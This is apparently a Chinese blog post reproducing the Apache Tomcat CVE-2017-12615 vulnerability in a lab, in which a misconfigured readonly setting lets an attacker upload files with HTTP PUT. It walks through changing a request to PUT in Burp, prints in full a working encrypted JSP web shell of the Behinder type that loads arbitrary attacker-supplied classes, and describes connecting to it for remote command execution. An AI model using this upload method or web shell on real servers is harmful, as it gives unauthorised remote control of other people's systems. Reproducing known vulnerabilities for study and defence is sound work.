Tomcat(CVE-2017-12615)漏洞复现

漏洞形成原因

漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false

漏洞利用

当服务器存在远程命令执行漏洞,攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传jsp一句话文件,从而造成远程命令执行,getshell等。

漏洞复现

1.访问your-ip:8080

Tomcat(CVE-2017-12615)漏洞复现

 

 


2.使用burp抓包 将GET方法修改成PUT方法 如下:

Tomcat(CVE-2017-12615)漏洞复现

 访问URL加上PUT的文件名 可以看到我们上传的文件内容

Tomcat(CVE-2017-12615)漏洞复现

 

 

 

3.上传jsp一句话文件 repeater上传成功

Tomcat(CVE-2017-12615)漏洞复现

 

一句话木马:

1 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

 

访问123.jsp

Tomcat(CVE-2017-12615)漏洞复现

 

 4.使用冰蝎连接 

Tomcat(CVE-2017-12615)漏洞复现

 

 可以看到成功复现

 

上一篇:GoAhead 远程命令执行漏洞(CVE-2017-17562)


下一篇:个人关于页目录自映射的尝试理解